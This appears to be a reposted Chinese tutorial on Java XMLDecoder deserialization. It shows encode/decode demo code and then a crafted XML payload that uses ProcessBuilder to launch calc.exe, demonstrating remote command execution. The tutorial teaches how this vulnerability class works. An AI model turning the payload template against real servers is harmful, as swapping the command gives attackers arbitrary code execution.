不是吧,阿sir?你还不懂反序列化?

2023-11-27 13:50
文章标签 不是 序列化 sir

本文主要是介绍不是吧,阿sir?你还不懂反序列化?,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 前言

之前我们接触过java比较基础且普遍的一种反序列化,但是在java中反序列化的形式并不是那么单一,今天我要要介绍的就是XMLDecoder这个类的序列化以及反序列化。

0x02 XMLDecoder介绍

这个类是jdk自带的,位置是java.beans.XMLDecoder , 这个类的序列化就是将java对象转换成xml文件,反序列化是把特定格式的xml文件转换成java对象。

我们还是用一个小demo来熟悉下它的使用方式。

创建一个类,类里面有两个方法,一个是序列化操作,一个是反序列化操作

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;public class XMLTest{// 序列化对象到文件person.xmlpublic void xmlEncode() throws FileNotFoundException {Person person = new Person();person.setAge(18);person.setName("axin");XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("person.xml")));xmlEncoder.writeObject(person);xmlEncoder.close();System.out.println("序列化结束!");}// 反序列化public void xmlDecode() throws FileNotFoundException {XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("person.xml")));Person person = (Person)xmlDecoder.readObject();xmlDecoder.close();person.sayHello();System.out.println("反序列化成功!");}public static void main(String[] args) throws FileNotFoundException {XMLTest xmlTest = new XMLTest();xmlTest.xmlEncode();xmlTest.xmlDecode();}
}

其中Person类如下:

public class Person {String name = "";int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public void sayHello(){System.out.println("Hello, my name is "+name);}
}

运行XMLTest类,会在当前工程目录下生成一个person.xml文件,并且终端会打印调用sayHello方法的结果

序列化生成的xml文件格式如下:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_231" class="java.beans.XMLDecoder"><object class="Person"><void property="age"><int>18</int></void><void property="name"><string>axin</string></void></object>
</java>

反序列化上述的xml文件,然后执行sayHello方法

0x03 利用方法

我们已经得知XMLDecoder常见的序列化与反序列化的方法,那么怎么利用呢?

我们可以利用其反序列化机制执行任意对象的任意命令,例如构造如下xml文件:

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc.exe</string></void></array><void method="start"></void></object>
</java>

上述xml文件如果被反序列化会执行ProcessBuilder的start方法,弹个计算器

其他

这一章只是简单的XMLDecoder反序列化的原理,同样的,我还是会找一个案例来帮助大家更清晰的认识该漏洞,当然,换汤不换药,漏洞的发生场景变了,本质是不变的~

下一章,我们就看看weblogic中的XMLDecoder反序列化漏洞吧

这篇关于不是吧,阿sir?你还不懂反序列化?的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/427790

相关文章

Java中JSON字符串反序列化(动态泛型)

《Java中JSON字符串反序列化(动态泛型)》文章讨论了在定时任务中使用反射调用目标对象时处理动态参数的问题,通过将方法参数存储为JSON字符串并进行反序列化,可以实现动态调用,然而,这种方式容易导... 需求:定时任务扫描,反射调用目标对象,但是,方法的传参不是固定的。方案一:将方法参数存成jsON字

Python---文件IO流及对象序列化

文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 前文模块中提到加密模块,本文将终点介绍加密模块和文件流。 一、文件流和IO流概述         在Python中,IO流是用于输入和输出数据的通道。它可以用于读取输入数据或将数据写入输出目标。IO流可以是标准输入/输出流(stdin和stdout),也可以是文件流,网络流等。

Marsview这么好用?快速搭建后台不是梦

Marsview竟然这么好用?快速搭建后台不是梦! 还在为项目开发而焦头烂额吗?别再纠结了,Marsview来了!这个面向后台管理系统的低代码平台,不仅让你轻松搭建项目,还能让你成为团队中的“流量担当”。本文将带你了解 Marsview 的核心功能、技术架构,以及如何快速上手。 软件简介 Marsview 是一款专为中后台管理系统设计的低代码可视化平台,能够帮助开发者快速完成项目搭建和

20190315 把整理和培养自己当作一生的事业,而不是局限在找工作拿offer。

把整理和培养自己当作一生的事业,而不是局限在找工作拿offer,做有本事的人。 来东南读研半年了,明显感觉自己掌握的不过是书本知识级别的中上水平,垃圾收集器这些的只知道背面经,靠脑子硬记,缺乏整理和系统,一头浆糊。 现在一边做实训这个烂项目,一边刷面经,一边刷剑指offer,想投些大公司的实习,又觉得还没准备好,看着各 种面经,都能说个大概,但明显感觉到自己知识的不体系和不深入,**做的项目

jquery 表单序列化

jQuery序列化表单的方法总结 现在这里贴出案例中静态的html网页内容: <!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><title>Title</title><script src="../js/jquery-3.2.1.js"></script></head><body><form method="post"

Java反序列化漏洞-TemplatesImpl利用链分析

文章目录 一、前言二、正文1. 寻找利用链2. 构造POC2.1 生成字节码2.2 加载字节码1)getTransletInstance2)defineTransletClasses 2.3 创建实例 3. 完整POC 三、参考文章 一、前言 java.lang.ClassLoader#defineClass defineClass可以加载字节码,但由于defineClas

Spring之——整合Redis序列化方式StringRedisSerializer、FastJsonRedisSerializer和KryoRedisSerializer

当我们的数据存储到Redis的时候,我们的键(key)和值(value)都是通过Spring提供的Serializer序列化到数据库的。RedisTemplate默认使用的是JdkSerializationRedisSerializer,StringRedisTemplate默认使用的是StringRedisSerializer。 Spring Data JPA为我们提供了下面的Serializ

OpenAI澄清:“GPT Next”不是新模型。

不,”GPT Next” 并不是OpenAI的下一个重要项目。 本周早些时候,OpenAI 日本业务的负责人长崎忠男在日本 KDDI 峰会上分享了一场演讲,似乎在暗示一个名为 “GPT Next” 的新模型即将出现。 但OpenAI的一位发言人已向Mashable证实,幻灯片中用引号括起来的”GPT Next”一词只是一个假设性占位符,旨在表明OpenAI的模型如何随着时间呈指数级进化。发言人

使用 `readResolve` 防止序列化破坏单例模式

单例模式是一种设计模式,其目的是确保一个类只有一个实例,并提供一个全局访问点。在 Java 中,我们常常通过私有化构造方法和提供静态访问方法来实现单例。然而,尽管这些手段可以有效防止类的实例化,反射和序列化依然能够破坏单例模式的唯一性。本文将重点讲解序列化如何破坏单例模式,以及如何通过 readResolve 方法来防止这种破坏。 1. 序列化和反序列化 序列化 是指将对象的状态转换为字节

去 IOE 的本质不是 PR 砸场,而是云端再造

「青云一直有一个目标,就是要建立一朵更好的云,全模云的推出也标志着我们在实现这个目标上往前走了一大步。」 本文由青云QingCloud CTO 甘泉的演讲内容整理而来,共 2628 字,8 图,阅读大概需要 7 分钟。 青云QingCloud 如何解决「敏态」问题 先谈谈传统业务的 IT 部署模式,基本上都是刀片机+存储柜的模式,它们都是真实的物理机,上图密密麻麻的是刀片机,右边是存